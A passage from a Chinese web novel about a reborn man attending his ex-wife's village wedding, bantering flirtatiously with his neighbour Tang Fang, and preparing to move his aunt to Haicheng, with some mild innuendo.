“……小姑,你是从哪儿知道这事儿的?”周勃咽咽口水,脸上的笑有点儿僵硬。 周山妹不觉有他,“是刚才你大娘给说的,她快晚上的时候从她家旁边儿的苞米地里过,听见有声儿!” “……一男一女” 周山妹奇怪的看了周勃一眼,“不是一男一女,难道还是俩男的啊!” “这不是怕听错了吗。”周勃摸摸鼻子,他就说他们家那地儿隔着河,那边儿山上基本都是他家的地儿,鲜少有人过去,更别说大晚上了。 “这还能听错!”周山妹声音高了点,“咱村里儿人多朴实啊!谁能干出在苞米地做那种事儿的勾当!男的跟八辈子没见过女人似的,女的也不自爱!咱们这儿是农村,又不是大城市里的鸡鸭,咋能干出这么不要脸的事儿!” 周山妹越说越生气,警告周勃:“我告诉你啊周勃!以后要是有了对象儿,不许做这种伤风败俗的事儿!” 周勃:“……” “你听到没有!”周山妹瞪眼。 一旁的唐放说话了,他笑着:“放心吧周姨,周勃肯定是不会做这种事儿的!” 有他在,周勃要能拉上姑娘的手,算他输! 听谁的话,都不能听唐放的话,周勃嘴角抽抽,觉得唐放这家伙儿撒谎跟洒洒水似的轻松,可别忘了刚才就是你自己先起得头儿! 周山妹被唐放安抚下来,她注意力不在周勃身上,嘴里还在骂骂咧咧。 要真让她抓到人,周勃觉着她小姑还真有可能把俩人公之于众。 换成其他人,也就听个乐子,私底下说道说道。 没见刚才大娘那张脸笑得跟朵菊花似的,这是当八卦讲呢! 周勃无奈的劝她:“小姑,别想了,赶紧洗澡睡觉休息吧。” 周山妹平常睡得早,这时候正好接近了,她自己也知道,从椅子上坐起,脸上还气着。 周勃带着唐放洗冷水澡,刚搬了凳子,远处传来周山妹的声音。 “唉!周勃,我忘了给你说了!” 周山妹从卫生间露|出半个身子,“李丽华要结婚了。” “……怎么了?” 周勃知道这事儿,要不是小姑说,他差点儿都给忘记了。 “……李丽华她爸,过来请我们去吃喜酒,原本还准备了红包硬要塞给我,我没要。”周山妹说这话,皱着眉,能看出来她的纠结。 周勃知道,原本就是出于信任才介绍了李丽华,现在这就像根针扎在小姑心里。 周山妹继续说:“……你怎么打算?” “你要是想去的话,就不给份子钱了,过去吃个白饭,不想去的话,那就不去了。” 周勃笑笑,“去啊,怎么不去!” 好歹是前妻再婚,怎么也该去看看热闹,他到要看看,这俩人这辈子还会不会顺利的过下去。 没了女人的帮助,周文博啥也不是,那些被他耽误的姑娘也该有个好前程了,至于李丽华,和心心念念的情郎在一起了,能为他做到什么地步,他就拭目以待。 周勃转头看向唐放,“李丽华堂哥,你要去吗?” 这称呼。 唐放挑眉,“去啊!怎么不去,你都去了,我再怎么也能搭着你吃顿饭。” 周山妹听周勃说去,也没什么反应,冲着周勃叫道:“那你去了,我就不去了。” “好。” 夜晚,房间内冷气散布。 农村电费便宜,空调几乎是天天晚上连着转整晚。 李丽华喜酒在后天,李叔叫他们去吃喜酒的用意,周勃也知道。 三个月就离婚,傻子都能猜到里面儿有猫腻,他到还好,有点儿孕相的李丽华这么快再婚,肯定有人在私底下说闲话。 他们过去吃酒,也算是变相给其他人解释了。 周勃是不会给李丽华解释的,他目的很明确,就是想看看这俩人没了阻挡,还会不会有上辈子的“深情”。 “还不睡?” 唐放的声音在耳边儿响起。 周勃一个激灵儿:“……这就睡。” …… 第二天,大清早的,俩人去苞米地把地里的苞米搬了回去,大捆大捆的苞米梗散落在地里。 唐放给它们平铺在土地上,等到这些苞米梗腐烂,算是变相给地里沤肥了。 周勃看得一愣一愣的,毫不吝啬赞叹笑道:“行啊,想不到你还是个种田小能手。” 看着对方翘起的嘴角微微发散的发丝,周勃眯眯眼睛,突然觉得有点儿可爱。 周山妹把家里的石磨一点点挪出来洗干净。 做苞米粑首要的是把苞米磨成糊,前几天搓了大半儿的苞米这时候派上用场。 石磨很重,周勃先上去推了一个小时,后来全换成了唐放。 引得周山妹赏给周勃一个鄙视的眼神,你看看看看,同样是男人,看看人唐放,再看看你自己! 周勃,对此无言以对。 移开视线,不去看小姑的眼神儿,周勃的目光放在了唐放身上。 这人儿喜欢穿背心,特别是在农村,背心短裤成了他的标配。 也正是这种简单的穿搭,更能凸显出唐放的身材,周勃已经不知道多少次赞叹他的身材了。 流畅而又饱含力量的肌肉线条,宽肩窄臀,推着石磨的小臂结实而有力,随着主人的发力,点点青筋浮现,无端又多了几分男人特有的锐利张狂。 周勃吞吞口水,他无端的,脑海中闪过他握着它时,唐放忍耐的模样,他小臂上的青筋也和今天一样凸|起,带着浓浓的荷|尔|蒙。 汗水顺着额头滑过脸颊,再顺着修|长的脖子向下流淌,滑过一切肌肤紧致的地方。 手臂上的纹身随着主人的发力,点点凸显,似忍耐,似狰狞。 周勃喉咙发干。 “唉!唐放,你再推慢点儿。” 周山妹的声音将他拉回现实,周勃猛的坐直身体,椅子脚摩|擦地面的声儿引起俩人的关注。 周山妹皱眉,看不惯周勃闲着的模样,“你没事儿做,给我把那些还没搓得苞米给搓了。” 周勃也不知道自己是怎么了,他抹了把脸,“等会儿,我去上个厕所先。” 说完,他头也不回的离开。 身后传来周山妹的声音。 “对,对,就这样,推慢点儿,我这把苞米粒灌进去,好磨得细些,不拉嗓子。” “别看这些细,周勃那小子,精贵得很,还觉着拉嗓子!也不知道是随了谁,他爸他妈那么喜欢吃苞米粑的人!” 唐放听着周山妹的声儿,又把手上的动作放慢了些。 石磨一点点的转动,石头的摩|擦同时在周勃的大脑中磨砂,将他脑海中的画面摩|擦得越来越清晰。 第40章 第 40 章 周勃纳闷, 怎么就突然想到这个了呢? 石磨磨苞米慢得很,周山妹一个人加,唐放一个人推,周勃回来了坐椅子上搓。 这回儿他不敢看唐放了, 一心专注面前的苞米, 手搓疼了, 用鞋底儿, 两边轮换。 重复性工作到了下午周勃搓得手疼, 终于搓好了大半,一看另外俩人的工作,哟呵, 还剩这么多苞米。 到了饭点儿, 周山妹抓过周勃,“你来给他加, 我去做饭先。” 这活儿很轻松,时不时往石磨上舀上一瓢苞米带水。 汗水把唐放胸|前的背心都给打湿, 周勃瞟了两眼, 淡淡开口:“累了没?要累了我换你。” 唐放抓起背心擦了把脸上的汗, 眼睛瞥了眼周勃那“小胳膊小腿”,“不累, 不用。” 行, 这可是你说的。 周勃不再吭声儿。 家里的苞米整整做到了晚上, 再加上第二个白天。 周勃差点儿都不想去吃李丽华的喜酒了,感觉自己身上一整个儿苞米味儿, 苞米粑做得多, 他们又吃了一中午苞米,给他齁得不行。 李丽华是二婚, 周文博头婚。 这喜酒照样儿办了,幸好是在村里儿,不然周勃和唐放还得找个车带他们过去。 别管是男方家的客人,还是女方家,去就得了。 他们到的时候,接新娘的车锵锵驶过,又是一片鞭炮齐鸣,高高兴兴把新娘接进了屋子。 这是周勃第一次来周文博家,和普通农户家没什么区别,顶多是为了接新娘收拾了间新房出来。 “两个月,两场婚礼。”唐放笑了声儿,看向周勃,“还挺有样儿。” “还是来早了。”周勃说。 俩人随便找了个位置坐下,酒席上人都这样,熟的坐一起嗑瓜子唠嗑,还有好几桌老大爷凑成的牌桌。 周勃村上的人他人不熟,偶尔有几个熟悉的面孔,也是住得近的。 唐放要好点儿,因为有人找他帮忙,他认识些,不过大多是见面儿叫一声,特别熟的也就陈牧德他爸他妈了。 现在多了个周姨。 很快,有个大妈坐在周勃身旁,朝另一边儿招手,“快来快来!这儿还有位置,好几个嘛,刚刚好。” 随着大妈的手挥动,转眼又来了三个大妈齐齐坐下。 有个大妈刚坐下,看着周勃一惊,“唉!不是那谁家的侄子嘛!” “你也来了啊!” 周勃不知道她是谁,只得笑笑说对,他也来了。 另外的大妈好奇问,“这是谁家的啊!长得挺标志的,结婚了没啊?” 认出周勃的那个大妈也不避嫌,“结婚了,不过才离婚好像,现在这个嫁给周文博的姑娘,就是他之前的老婆。” “嚯!” 这话一出,几个大妈生长脖子,脸上带着全是好奇。 这大妈不卖关子,当着周勃的面儿,把他的事儿说的清清楚楚明明白白,周山妹对外说是性格不合,可那张臭着的脸怎么不让人瞎想。 再加上,这才离婚的老婆,转头就嫁给了另外一个人,这也太快了吧! 要迟上个一年半载都还好说。 大妈也没添油加醋,周勃本人都在这儿呢。 不过大伙儿心里怎么想都不得而知了,周勃觉着自己坐在这儿就是给她们的八卦添堵,他要是走开,指不定人都聊起来了。 有个穿花衬衣的大妈忍不住问:“你怎么来了?是他们家给你请帖了?” 周勃笑着点点头。 “嘶!”其他大妈倒吸一口冷气,“那这么说,你们真是因为性格不合才离婚的啊?” 周勃笑笑不说话。 大妈们全懂了,都是人精儿。 “去喝杯水,你要喝水吗?”周勃转头问唐放。 “一起吧。” 俩人才离开,周勃听到了几个大妈滔滔不绝的讨论声。 路上有认识周勃,吃过周勃喜酒的人此时也一脸诧异的看着他,似乎没料到他会来。 不想被人当猴子看,周勃喝了口水,往树林里站。 周文博家原本就离树林近,他俩来到屋后面儿的树林,找了个石墩坐下,总算没人了。 可就是这么巧,千算万算,没算到。 周勃刚坐下,声音从后边儿传来。 这里是树林,后边儿隔树木和到处生长的野草,只影影约约能看到两个人影,再多的就看不见了。 周勃不用看见,他听出了这俩人的声音。 都是熟人。 一个李丽华,一个周文博。 俩人竟然在结婚这天发生了争吵。 李丽华的声音中带着哭腔。 “那你为什么不肯告诉我,你昨天下午和晚上到底去哪儿了!” “我都给你说了,我那儿都没去!是你自己记错了!你能不能别这么老是不分青红皂白的发脾气,我就不能有我自己的自由吗?” “我发脾气?你到底知不知道自己在说什么?你要是不心虚,为什么不肯说!硬要我把那个小贱|人揪出来是不是!” 周文博听着李丽华这咄咄逼人的话,语气中很是不耐。 “都说了没有就是没有,你到底还要我说几遍!” 随后,俩人又拉拉扯扯,一个说了没有,一个就是不相信,拉扯了好几分钟,丝毫不顾及今天就是俩人结婚的日子。 周勃也没搞明白他们在吵什么。 直到李丽华的一记重炮。 “是,是没有,”李丽华声音呜咽,“也没人看到你从苞米地出来,也没人听到有狗|男女在苞米地里耍流|氓。” 此话一出,周文博哑口无言。 周勃心中也是诧异,原来昨晚上小姑说的人是他? 周文博又骗了哪家的姑娘? 他看向唐放,这人眼睛难得睁大,俩人都默契得没说话,静静的听。 可惜,他们想看乐子,有人给破坏了。 一个清晰的脚步声传来,与之一同的还有树枝踩破的声儿,以及不远处的男声。 “姐!你去那儿干什么!” 周勃明显听到,后边儿俩人的声音戛然而止,心下顿时感到可惜。 来的人是个姑娘,长相漂亮,身材苗条,看到周勃和唐放在这儿也是一惊,随后朝身后喊道:“等会儿,我马上回来。” 这人是周梅,正是陈牧德心心念念的姑娘,周勃远远的看到过好多次,只能见到点儿轮廓,现在走近了才发现,这姑娘确实长得好看,脆生生的声音听着十分悦耳。 周梅这上来也只是想上来看看,乍然碰到人,还有点儿尴尬,特别是其中一个人还是唐放。 不生不熟。 周梅笑笑,浅浅打了个招呼:“唐放哥。” 唐放点点头,算是打招呼了。 于是,周勃便见这姑娘,匆匆来,匆匆走。 “别看了,再看那也是陈牧德喜欢的姑娘,怎么,你要和他抢?” 耳边传来唐放冷冷的声音。 周勃语塞,“不是,你这一天天的脑子里到底在想什么?是屎吗?” “……想什么,想你喽。” 周勃:“……” 周梅小跑到周旋身边,轻微喘气,“走吧。” 周旋则是面上儿带着好奇,“你刚才和谁说话啊?怎么感觉你在和谁打招呼。” 周梅说:“和唐放哥,他身边儿还有个人,感觉好像在那儿见过。” 周旋闻言,眼睛一亮,“那我要过去打个招呼吗?” “……你去打招呼干什么,人俩人在那儿肯定是有什么事要说,”周梅有时候真觉得自己弟弟呆呆的。 周旋挠挠脑袋,他犹豫会儿,“放哥身边的那个人是不是长得挺帅的?” 周梅:“……你认识?” “就是我上次给你说的,在路上碰到放哥和他背着个人,我不是把他们送到医院了吗,就是那个人。” 周旋面露羡慕,“我感觉他俩关系可好,你不知道,当时放哥背着他跑了多远,特着急,一看就特别在乎的样子。” “我那时候就觉着,这人应该对放哥挺重要的。” “……”周梅说:“那个人应该是周勃。” “对对对,他就叫这名字。” “今天结婚的新娘,是他的老婆。” “啊?”周旋吃惊,面露难色,没听说过前夫来参加前妻婚礼的啊,“那他们过来,是来抢婚的吗?” 周梅很无语,“你整天少看些电视剧,什么抢婚,难道你还要去帮忙啊!” “……也可以。” “……” …… 周勃俩人在这儿坐着,过了会儿,树林后边儿的人终于出来了。 看到外面还有人,李丽华和周文博的脸色很难看,在看到人是周勃和唐放后,脸色更难看了。 李丽华冷着脸狠狠抹了把眼泪,眼眶泛红很是可怜,穿着大红色的新娘服,看着好像长胖了些。 周勃知道她没长胖,似乎还瘦了,脸上的肉少了,长胖是因为,她的肚子快要遮不住了。 李丽华最不想让周勃看到她这幅模样,冷着脸,把人当空气径直离开了。 倒是周文博停下脚步,他从李丽华那儿受了不少气,这时候看到俩人,脸色难看得要命。 “你们,你们什么时候在这儿的?” 周勃笑了下:“也没多久,就是十多分钟前吧。” 那不是该听到的,不该听到的,都听到了? 周文博气得鼻子都要歪了,冲着周勃瞪眼出气,“你们要敢说出去,就完了!” 周文博的威胁毫无威胁,周勃听着还有点想笑,他可是见过周文博当街求饶的人啊! 唐放拉住周勃的手,一双丹凤眼淡淡的,“马上开席了,你先去占位置,我和他有些话要说。” 周勃没反驳,当着周文博的面儿笑着说,“那我先走了,你早点过来。” 唐放点点头。 等到周勃的身影不见,唐放这才转过头看向周文博,他的手死死的拎着周文博的后衣领,周文博想走都走不了。 唐放是属于一看就很能打的类型,身上的肌肉结实紧致。 周文博也只会口头上嗨两句,要真让他对上人,还走不了,反而怂了。 “你!你要干什么!”周文博警惕的看着放手的唐放,缓缓后退,“我告诉你,打人是犯法的!” 对此,唐放露|出个不屑的笑,“怎么,才过了多少天,身上就不疼了?” 周文博刚开始还没明白唐放是什么意思,不过很快,他就反应过来,脸色煞白。 原来,之前打他的人,就是面前这人叫的! 从那之后,他硬生生在床上躺了半个月,原本聊得好好的县长的女儿,也因为那事儿对他避而不见,到最后只能娶了李丽华这个烂货。 他对那个幕后黑手可谓是恨之入骨,但真要让他对上人,周文博又怕得不行。 唐放嗤笑一声,手轻轻拍在周文博脸上,“你怕什么,放心,我今天不打你,你今天结婚,大好日子,我又不是扫兴的人,怎么会做那种事。” 他瞥了眼腿发抖的周文博,“我留下来,只是想给你送上祝福,祝你和李丽华长长久久百年好合。” “管好你们自己,”唐放边说,边从口袋里摸出烟,“你要敢和她离婚,你就死定了。” 看着周文博半天不敢放个屁,唐放心中有点儿纳闷,这种男人,是怎么有女人喜欢的? “滚。”他冷冷道。 周文博连滚带爬的跑了。 烟抽完,唐放也跟着离开了树林。 …… 酒席摆了整整15桌,这才是第一轮,后边儿还有第二轮。 唐放在酒席中轻而易举找到了周勃,没办法,这人在一群老太太老爷爷中帅得太过显眼。 周围人时不时和他说说话,周勃都是笑着好好回答,很有耐心。 唐放发现,这人就是这样,对别人总是笑着,说话也好听,不留话柄,自己和别人都舒心。 但对着他,时不时说话能呛死你。 唐放嘴角勾起,他有时候也挺享受周勃对着他和其他人的不同,这不正意味着,他对于周勃,是和别人不同的存在吗? 周勃见唐放回来,脸上还挂着笑,他眉眼一挑。 “你不会给周文博打了吧?” “没。” “奥,”周勃有点失望,随后问:“那你刚才和周文博说什么呢?” 唐放暼他一眼,知道他好奇,但就是不说。 “没说什么。” 见周勃一脸不信,唐放轻哼两声,“真想知道?” “……你说呢?” “今天晚上——” “滚。” 唐放摸摸鼻子,不想了。 40-50 第41章 第 41 章 婚礼进行得很顺利。 外边儿围了一圈儿人看热闹似的看儿媳妇改口。 李丽华和周文博也没了之前的不和, 至少在外人看来,这俩人是和和美美的一对新婚小夫妻,只有眼尖的人才能通过这俩人嘴角的僵硬看出点儿端倪。 免费吃了顿白饭,又看了场好戏, 周勃终于心满意足的走了。 唐放就是个跟屁虫, 周勃往哪儿走, 他就跟着往哪儿走, 期间路过他家, 唐放停下脚步。 “你先等会儿。” 他转身翻墙进了自家门。 周勃:“……” 不多一会儿,唐放手里拿着个东西再次翻墙出来。 周勃纳闷:“你没钥匙,你家里那空调是怎么搬到我家去的?” 总不可能翻墙扔地上再下来吧? “谁给你说我没钥匙的?”唐放反问一句。 “没带啊, 放你屋里了。” 行吧, 周勃接受了这个理由,他转头看着唐放从家里顺出来的东西, 很眼熟,周勃拿过来看了几眼。 “索尼的, 陈牧德他没发现你家有?还跑去找陈浪要了。” 索尼牌的磁带播放器。 唐放平静说:“突然想起来的, 忘了我有。” “你平常又不听歌, 也不唱歌,你买这个?”周勃把玩着手上的的磁带播放器, 很是不解。 唐放倒是十分淡定, “有钱, 有就买了,那管那么多, 又不是没钱。” 想着这人动不动就把自己的车换了, 周勃有那么点儿理解了,他点点头, 想到了什么:“去买磁带吧。” “随你。” 周勃来了兴致,谁也挡不住,赶上公交去了县里。 影像店里,只要是看着有点儿眼熟的名字,周勃全给买了,跟扫货似的。 装了一大堆磁带,看着空了不少的架子,周勃忽的想起个故事。 中国大妈去买东西,趾高气昂,“这个、这个、这个,除开,其他的,全给我包下。” 不知怎么的戳中了周勃的笑点,笑得他乐不可支,他这算不算中国大爷扫货。 这些都是挺有收藏价值的东西,又不贵,周勃买得随意。 他这一手,影像店大叔都给惊了,怀疑人是来进货的,但看着俩人穿得不错,又不像。 看着周勃买得多,影像店老板肚皮圆润,笑起来像个弥勒佛,之前是卖片儿的,因为长相,很少有被逮到的时候,后来赚了点儿钱,就顺着潮流做了这么个影像店。 主业有了,副业也没落下,时不时有客户打着买磁带光盘的幌子,跑他这儿来进货。 没错,他从卖片儿的发展成了卖给卖片儿的了。 有点怀疑这俩人是同行介绍来的,想了想,大叔结账时笑眯眯的说:“唉,我这儿还有点儿其他的东西,要看看不?刚来的,什么都有。” “什么东西?”周勃脸上的笑一僵,没搞明白大叔说的啥。 唐放有点经验,刚才看着周勃笑了许久,他挑挑眉,凑到周勃耳边儿轻声说:“他以为你是来买片儿的。” 热热的呼吸喷到周勃耳边,强忍住揉耳朵的冲动,周勃嘴角抽抽,“老板,你看我们像那种人吗?” 老板笑呵呵,“像啊!” “哪像了?”周勃笑笑,觉着这老板说话真是不打草稿。 老板说,“男的,哪有不看的,都是潜在客户。” 周勃道:“……算了老板,你结账吧。”这要真买回去,不是给唐放助兴吗? 老板大叔没恼,看向唐放,没女人在,说话都直白了些,笑呵呵的模样,真不像卖片儿的,“帅哥你要不,我这儿啥都有,刚来的货。” 也就是这俩帅哥长得好看,他多推销了一下。 “不管你是啥癖好,那都有,男的,女的,动物的,只要你想,我这儿啥都能给你找出来,别看人小日本岛国小,玩的倒是花。” 唐放原本是一点儿兴趣没有,他又不是没看过,还不如看看周勃来得起劲儿。 不过男的?是他想的那意思吗? 唐放有点心痒痒,他面上不显,把这家店记下了。 俩人最后是小跑着,终于赶上了最后一辆班车。 唐放坐在周勃身旁,跑了会儿,周勃身上的热还没散出去,这人还贴着人坐。 那腿跨得老宽,周勃腿往里收一点儿,他的腿就跨得更宽一点儿,非得贴着周勃的大|腿才满意。 周勃下肢用力,把唐放的腿狠狠撞开,“过去点,热。” 唐放瞥了他一眼,然后又把腿挨过来了。 车还没开,车里闷热,开着窗户也一样,甚至比起外边儿,车里面更热。 唐放的大|腿像是根烧火棍,源源不断的热意从贴着的地方传过来,周勃忍不住又把他的腿撞开。 用手抹着汗水,周勃面色不改。 唐放也没说话,懒洋洋的靠在座椅上,撞开的腿又贴了上去。 主打一个,反正不管咋样,我就是要贴着你态度,跟个狗皮膏药似的,怎么甩都甩不掉。 周勃觉着后槽牙疼,他转过去看唐放,“你幼不幼稚,腿拿开,不嫌热?” “你身上凉快。”唐放淡淡说了句。 周勃差点给他这句话气笑了,“你当我是冰块?还凉快,怎么不见你不流汗?” 唐放额前的头发都被汗湿了,还不依不饶的想贴过来,这是真不嫌热。 好在车很快开了,风顺着车窗吹进来,暂时缓解了周勃的热意。 “对了,陈浪他老婆怎么样了?病能治吗?”周勃突然对唐放说。 “不知道。” “不知道?”周勃吃了一惊,看着唐放,“怎么会不知道?你们没联系吗?” 唐放看着周勃不热了,得寸进尺的把腿翘到周勃大|腿上说:“哪儿来的联系,人去了海城,难道还把座机带过去啊!” “他要是不给我说,我怎么知道?” 周勃一愣,一想也是,这时候唯一的通讯设备就是座机了,不像后世,人手一部手机,想知道什么了,一个视频打过去,脸都给你看得清清楚楚。 “不过,你座机在家,他要是给你打电话,你不在家,岂不是接都接不到?” “挺不方便的。”周勃沉默半响说,人哪有时间天天守在电话前啊。 “嗯。” 唐放说,“放心吧,陈浪心里有数,去了首都,再怎么也要把病治好了再回来。” “人又不会未卜先知,如果真有困难,出了事,他会找我的。” 周勃点点头,随后他像是意识到了什么,眉头一皱。 人确实不会未卜先知,不过他知道未来啊,可惜的是他之前没接触过陈浪,不然就能知道他们后来怎么样儿,要真出了事,也能先一步提醒。 周勃知道未来市场的走势,知道海城的巨变,知道小姑、李丽华、周文博的未来,唐放的却是很少。 只依稀哪年听小姑提过一嘴,唐放回村里过年了,她觉得惊讶,好久没见这小伙子了。 那时候的唐放对他来说就是个陌生人,他哪来儿那么多闲工夫记陌生人的事? 这是不是意味着,唐放很多年都不会回村子,搬到其他地方住了呢? 那个城市,难道是海城? 转头,周勃又觉得不对,他在海城这么多年,也没听说过有哪个建筑公司的老板叫唐放的? 周勃没管腿上的重量,他问唐放,“你确定,你后面儿要开建筑公司?” 唐放点点头,“确定。” “怎么了?” 周勃迟疑片刻:“你做你们公司老板?” “……我不能做?” “……也不是。” 周勃嘴角抽抽,算了不想了,也许人公司后边倒闭了也说不准。 这么些年,起起伏伏的公司不在少数,谁规定,开了公司就不会倒闭的呢? 唐放这边儿把腿搬到周勃腿上,见周勃依旧没反应,他眉眼一挑,随后,更加放心大胆的把手放上去。 隔着裤子,摸|摸周勃的大|腿。 周勃:“……” 真就是越来越得寸进尺了,周勃不惯着,捏住唐放的手腕,把手放在他自己的腿上,并把他那好似得了多动症的腿一并从自己腿上挪开。 “要翘,翘你的二郎腿去。”周勃皮笑肉不笑。 唐放幽幽道:“……真小气。” 周勃当没听见。 …… 周山妹蒸了老多苞米粑,给周围人送了不少,特别是关系好的,大袋大袋的送。 有问起周勃的,周山妹笑着说:“周勃啊,他去吃酒去了。” 吃酒,最近村里也只有一家办酒吧!这人慢慢反应过来,睁大眼睛,“他去吃酒了?!” “对啊!又不是什么见不得人的事,”周山妹笑容依旧,“人都来请了,不去那不是怕了吗?” 这人:“……” “那女的这么快就找好下家,周勃有女朋友没?” 说起这个,周山妹也是头疼,“哎呀!别说了,原本想趁着他这次回来,给他联系几个姑娘,先见见面,看合不合适的。” “然后呢?” “这不是我也要去海城了吗,就想着,可能海城姑娘多些,那些大城市的姑娘,文静又有文化,总能找到合适的!” 这人倒吸一口冷气,“你要去海城了!” 周山妹笑容满面,“对啊!周勃总是说怕我一个人在家,他不放心,这不是这次回来,说什么也要带我去海城。” “我都说了我不去了!他硬要让我去,这孩子啊,心疼人,反正我在家也没事,这不就过去了呗,也能给他洗衣服做饭什么的。” 这人心中唏嘘,知道周山妹这是来炫耀来了,她也不泼人冷水,顺势夸起周勃来,边接过大袋苞米粑,边说他孝顺。 周山妹脸都要笑烂了。 连着送了好几家,送一回就要说一回,听着别人对她侄子的夸奖。 也有人对周山妹的离开表示不舍的,这都是和她关系真好的,这种,周山妹直接笑着说。 “放心,我有你们家电话号码,到时候我到了海城,给你打电话!现在不都方便了吗,还有电话了!” “……也是。” 第42章 第 42 章 从歌曲当中, 最能探听到时代的声音。 买的磁带在磁带播放器中转动着,从今久不衰的经典到传唱度不高的小曲,周勃一首一首的听着。 周山妹最喜欢的歌是新白娘子传奇的主题曲,每次磁带转到这首歌, 她总会不自觉停下脚步, 小声哼唱两句。 这两天在处理家里的一些东西, 她总是忙忙碌碌, 好像都没怎么停下来过。 于是这首《千年等一回》在院子里播放的频率高了起来。 女人婉约悠扬的声音回荡在整个院子, 带着悠悠的故事感。 连带着正赶着鸡鸭的唐放都给他时不时投来眼神,怀疑他是不是特喜欢这个女人的声音。 周勃没事儿干,或者说他把事儿干完了, 正坐在一旁翻着磁带, 时不时抬头一眼,欣赏唐放捉鸡, 和它们的斗智斗勇。 这人白长这么大高个,结果连着鸡都捉不住。 其中最嚣张的还得是之前小姑准备捉了炖给李丽华的那只。 上次逃过一劫, 此时赫然成了鸡群里最肥的一只, 跑起路来堪比刘翔。 时不时给这个捉他的人一个不屑的眼神。 一只没捉住, 旁边儿还有个人看热闹,唐放眼神认真了, 看准鸡逃跑的方向, 预判后脚步一动。 随之而来的是鸡鸭的惨叫声, 以及慌不择路的乱窜。 有只鸡不知道是咋的,竟然横冲直撞到周勃面前, 当场被他逮捕。 给他逗乐了, 你说说,这想抓的没抓着。 不想抓的, 反而送上门了。 周山妹走过来看着周勃手上这鸡,也长得膘肥,一口定音:“今晚上就把这只炖了,其他的明天拿去县里,全都卖了。” 说完,她拍拍周勃的肩膀,“没看见唐放一个人捉鸡啊!你快去,帮忙,两个人把鸡围进笼子里去,明天全拿去卖了。” 周勃摸摸鼻子,把手里的鸡递给她,给唐放帮忙去了。 你说说,一个大老爷们,怎么连只鸡都捉不到,真丢人。 唐放:“你怎么来了?” “怕你到晚上都抓不住一只鸡。” “……别说瞎话,怎么可能。” 周勃笑而不语,眼中的话不言而喻。 唐放给他这眼神较上劲儿了,目光盯着那鸡,更是专注,以前他家里又不是没有鸡鸭。 抓个鸡而已,小菜一碟。 周勃过来帮忙围鸡,唐放不要,非得给他抓个出来瞧瞧。 周勃乐得看他热闹,站在一旁不动了,见他从后院的这头跑到那头,像个跟着鸡妈妈到处跑的小鸡仔。 放在院子的歌声飘到这儿来,女声娇软柔媚,细细的声音带着缠绵。 “是谁在耳边说爱我永不变~” “只为这一句啊~断肠也无怨~” 这年头谁没看过新白娘子传奇啊? 周勃也忍不住跟着哼了两句,这歌很是上头。 等到一首歌唱完,唐放终于捉到了只,冲他晃晃手里的鸡,眉眼带上点儿得瑟。 周勃不慌不忙拿起身旁的细竹竿,“玩够了吧,玩够了就把鸡围进去,明天还要拿到集市上卖。” “……”感情捉了只鸡,在他眼中就是玩?唐放嘴角抽抽,不知怎的,略感无趣。 捉来的鸡被他放笼子里,转头和周勃一起把出逃的鸡围了进去。 这些都是农家用粮食喂出来的家畜,可不是后世那种只喂饲料的,口感和营养上差了一大截。 周山妹开始打包自己的衣服,夏天过去跟着就要冷了,可不得多拿点儿冬天的衣服。 周勃也在看自己还有什么要带的东西过去没,他在房里翻翻找找。 还真给他翻出不少东西来。 竟然有他小时候的照片。 唐放一把抢过他手里的照片,挑眉看着照片儿里的人,再看看身旁的周勃,“不像啊!” “……哪儿不像了?”周勃夺回照片。 照片上是个小屁孩,两只手正自以为帅酷的插在裤兜里,目光直视前方,那是他小学时候。 谁没个让人尴尬的时期其他人都在初高中,周勃叛逆得早,在小学。 这照片儿还是他冒死从小姑衣兜里顺出来点钱去拍的。 当然,最后少不了一顿竹笋炒肉。 唐放又看了两眼,想象着现在的周勃做着照片儿上的动作,给他逗乐了。 别过头去闷声笑,那肩膀一抖一抖,差点儿给周勃震倒在地。 周勃:“……” 见周勃要把这照片儿收起来,唐放急了,周勃眼睛一花,再定睛时,手里的照片已然消失。 唐放把照片好生收到裤兜里,嘴里噙着笑:“这么可爱的照片收起来干什么,我给你保管,给你带到海城,到时候用最贵的相框框起来。” 周勃觉着他绝对不是这用意,怕不是想时不时拿出来嘲笑他? 直觉不行,周勃上手就要掏他裤兜。 唐放眼疾手快的躲开,“不是,说了给你保管!” “我信你个鬼!” “我又不会骗你,” “呵呵,”周勃赏他两句,送给他个谁信你谁傻子的眼神。 唐放无奈了,怎么说实话,这人就是不信呢! 一张床,绕着躲,时不时从床上穿过,给俩人玩出了花样。 周勃纳闷,这人抓个鸡磨磨唧唧半天才抓到一只,怎么到了这儿这么会躲了? 跑不过唐放,想着就一张照片,周勃也不追了,皮笑肉不笑说:“你既然这么喜欢那照片,那就送给你了。” 说完,周勃在房里开始翻其他东西,衣服什么的他没想着带多少,反正到了海城,没衣服穿再买就是了。 他是想找到些有意义的东西。 前世他没留下多少,现在想保存些。 唐放见周勃不追了,还以为这人生气了,说实话,周勃追着他感觉还挺爽的。 摸摸鼻尖,唐放凑到周勃身边,“找什么呢?” 周勃瞥了他一眼,“不跑了?” 你都不追了,我跑还有什么意思?唐放脸皮厚,嘴角勾着,一双丹凤眼看着人,“没意思。” “哦,”周勃点点头,装若无事的继续翻找,余光却分到唐放身上。 就在一刹那,周勃的手顿时转变方向,朝着唐放的裤兜摸过去,主打一个乘其不备要其性命。 唐放反应过来,只来得及偏下身子,更多的,根本没反应过来。 床沿撞得一声闷响。 只见唐放脸色巨变,下一秒,捂着裤|裆蹲缩在原地,一个高个儿男人,就这样惨兮兮的被周勃整懵逼了。 周勃反应过来,自己好像抓错了什么东西,“嗖”的一下收回手。 都是男人,看见唐放那样儿,周勃自己都觉得疼,他轻声询问。 “……没事吧?” “你说呢?”唐放从牙缝中憋出来的话,男人生命不可承受之痛,痛得他脖子上青筋突出。 周勃:“……” “也没这么痛吧?”周勃声音又小了点。 唐放听着这话,不可置信的看着他,仿佛他说了什么不可思议的话,给他气笑了,“你说呢!要不要我给你来一下子!” 唐放的目光向下移,看着真有那想法,周勃忙不迭后退了一步,“看看医生?” 唐放皱着眉,没说话,过了会儿,疼痛消散许多,他脸上表情才好了些,看向正盯着他周勃,唐放露出个狠狠的表情,扯了下嘴角。 “不用,要真不能用了,以后就让你伺|候我,大不了我俩一起过。” “……”大可不必。 经过这一茬,周勃对唐放是不敢乱动了,直接忘记了照片那事儿。 到了晚上,周勃还心有余悸,或许是知道自己这辈子都不可能有孩子,他对着别人这功能还是很担心。 空调风吹得周勃心中凉飕飕的,他舔舔嘴唇,“你确定没事?” 唐放一时之间没明白这话是什么意思。 好半天反应过来,唐放:“你要试试?” 周勃:“……” 